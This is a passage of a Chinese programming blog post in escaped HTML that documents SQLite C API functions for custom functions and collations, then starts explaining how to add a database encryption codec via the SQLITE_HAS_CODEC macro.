xFinal 参数,然后把 xFunc 设为NULL. 该方法和使用sqlite3_create_aggregate() API一样.\u003c/p\u003e\u003cp\u003esqlite3_create_function16()和sqlite_create_function()的不同就在于自定义的函数名一个要求是 UTF-16 编码,而另一个则要求是 UTF-8.\u003c/p\u003e\u003cp\u003e请注意自定函数的参数目前使用了sqlite3_value结构体指针替代了SQLite version 2.X中的字符串指针. 下面的函数用来从sqlite3_value结构体中提取数据:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_value_blob\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_bytes\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_bytes16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_double\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_int\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_int64\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_value_text\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_value_text16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_type\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的函数调用以下的API来获得上下文内容和返回结果:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_aggregate_context\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nbyte)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_user_data\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_blob\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eqlite3_result_double\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_error\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_error16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_int\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_int64\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_null\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_text\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_text16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_value\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_get_auxdata\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_set_auxdata\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(4)用户自定义排序规则\u003c/p\u003e\u003cp\u003e下面的函数用来实现用户自定义的排序规则:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_create_collation(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *zName, \u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e(*xCompare)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_create_collation16(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *zName, \u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e(*xCompare)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_collation_needed(sqlite3*, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,sqlite3*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_collation_needed16(sqlite3*, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,sqlite3*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_create_collation() 函数用来声明一个排序序列和实现它的比较函数. 比较函数只能用来做文本的比较. eTextRep 参数可以取如下的预定义值 SQLITE_UTF8, SQLITE_UTF16LE, SQLITE_UTF16BE, SQLITE_ANY,用来表示比较函数所处理的文本的编码方式. 同一个自定义的排序规则的同一个比较函数可以有 UTF-8, UTF-16LE 和 UTF-16BE 等多个编码的版本. sqlite3_create_collation16()和sqlite3_create_collation() 的区别也仅仅在于排序名称的编码是 UTF-16 还是 UTF-8.\u003c/p\u003e\u003cp\u003e可以使用 sqlite3_collation_needed() 函数来注册一个回调函数,当数据库引擎遇到未知的排序规则时会自动调用该函数. 在回调函数中可以查找一个相似的比较函数,并激活相应的sqlite_3_create_collation()函数. 回调函数的第四个参数是排序规则的名称,同样sqlite3_collation_needed采用 UTF-8 编码. sqlite3_collation_need16() 采用 UTF-16 编码.\u003c/p\u003e\u003ch2 id=\"五、给数据库加密\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%BA%94%E3%80%81%E7%BB%99%E6%95%B0%E6%8D%AE%E5%BA%93%E5%8A%A0%E5%AF%86\" class=\"headerlink\" title=\"五、给数据库加密\"\u003e\u003c/a\u003e五、给数据库加密\u003c/h2\u003e\u003cp\u003e前面所说的内容网上已经有很多资料,虽然比较零散,但是花点时间也还是可以找到的。现在要说的这个——数据库加密,资料就很难找。也可能是我操作水平不够,找不到对应资料。但不管这样,我还是通过网上能找到的很有限的资料,探索出了给sqlite数据库加密的完整步骤。\u003c/p\u003e\u003cp\u003e这里要提一下,虽然 sqlite 很好用,速度快、体积小巧。但是它保存的文件却是明文的。若不信可以用 NotePad 打开数据库文件瞧瞧,里面 insert 的内容几乎一览无余。这样赤裸裸的展现自己,可不是我们的初衷。当然,如果你在嵌入式系统、智能手机上使用 sqlite,最好是不加密,因为这些系统运算能力有限,你做为一个新功能提供者,不能把用户有限的运算能力全部花掉。\u003c/p\u003e\u003cp\u003eSqlite为了速度而诞生。因此Sqlite本身不对数据库加密,要知道,如果你选择标准AES算法加密,那么一定有接近50%的时间消耗在加解密算法上,甚至更多(性能主要取决于你算法编写水平以及你是否能使用cpu提供的底层运算能力,比如MMX或sse系列指令可以大幅度提升运算速度)。\u003c/p\u003e\u003cp\u003eSqlite免费版本是不提供加密功能的,当然你也可以选择他们的收费版本,那你得支付2000块钱,而且是USD。我这里也不是说支付钱不好,如果只为了数据库加密就去支付2000块,我觉得划不来。因为下面我将要告诉你如何为免费的Sqlite扩展出加密模块——自己动手扩展,这是Sqlite允许,也是它提倡的。\u003c/p\u003e\u003cp\u003e那么,就让我们一起开始为 sqlite3.c 文件扩展出加密模块。\u003c/p\u003e\u003cp\u003e1 必要的宏\u003c/p\u003e\u003cp\u003e通过阅读 Sqlite 代码(当然没有全部阅读完,6万多行代码,没有一行是我习惯的风格,我可没那么多眼神去看),我搞清楚了两件事:\u003c/p\u003e\u003cp\u003eSqlite是支持加密扩展的;\u003c/p\u003e\u003cp\u003e需要 #define 一个宏才能使用加密扩展。\u003c/p\u003e\u003cp\u003e这个宏就是  SQLITE_HAS_CODEC。\u003c/p\u003e\u003cp\u003e你在代码最前面(也可以在 sqlite3.h 文件第一行)定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果你在代码里定义了此宏,但是还能够正常编译,那么应该是操作没有成功。因为你应该会被编译器提示有一些函数无法链接才对。如果你用的是 VC 2003,你可以在“解决方案”里右键点击你的工程,然后选“属性”,找到“C/C++”,再找到“命令行”,在里面手工添加“/D “SQLITE_HAS_CODEC””。\u003c/p\u003e\u003cp\u003e定义了这个宏,一些被 Sqlite 故意屏蔽掉的代码就被使用了。这些代码就是加解密的接口。\u003c/p\u003e\u003cp\u003e尝试编译,vc会提示你有一些函数无法链接,因为找不到他们的实现。\u003c/p\u003e\u003cp\u003e如果你也用的是VC2003,那么会得到下面的提示:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eerror LNK2019: 无法解析的外部符号 _sqlite3CodecGetKey ,该符号在函数 _attachFunc 中被引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror LNK2019: 无法解析的外部符号 _sqlite3CodecAttach ,该符号在函数 _attachFunc 中被引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror LNK2019: 无法解析的外部符号 _sqlite3_activate_see ,该符号在函数 _sqlite3Pragma 中被引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror LNK2019: 无法解析的外部符号 _sqlite3_key ,该符号在函数 _sqlite3Pragma 中被引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efatal error LNK1120: \u003cspan class=\"number\"\u003e4\u003c/span\u003e 个无法解析的外部命令\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是正常的,因为Sqlite只留了接口而已,并没有给出实现。\u003c/p\u003e\u003cp\u003e下面就让我来实现这些接口。\u003c/p\u003e\u003cp\u003e2自己实现加解密接口函数\u003c/p\u003e\u003cp\u003e如果真要我从一份 \u003ca href=\"http://www.sqlite.org/\"\u003ewww.sqlite.org\u003c/a\u003e 网上down下来的 sqlite3.c 文件,直接摸索出这些接口的实现,我认为我还没有这个能力。\u003c/p\u003e\u003cp\u003e好在网上还有一些代码已经实现了这个功能。通过参照他们的代码以及不断编译中vc给出的错误提示,最终我把整个接口整理出来。\u003c/p\u003e\u003cp\u003e实现这些预留接口不是那么容易,要重头说一次怎么回事很困难。我把代码都写好了,直接把他们按我下面的说明拷贝到 sqlite3.c 文件对应地方即可。我在下面也提供了sqlite3.c 文件,可以直接参考或取下来使用。\u003c/p\u003e\u003cp\u003e这里要说一点的是,我另外新建了两个文件:crypt.c和crypt.h。\u003c/p\u003e\u003cp\u003e其中crypt.h如此定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan 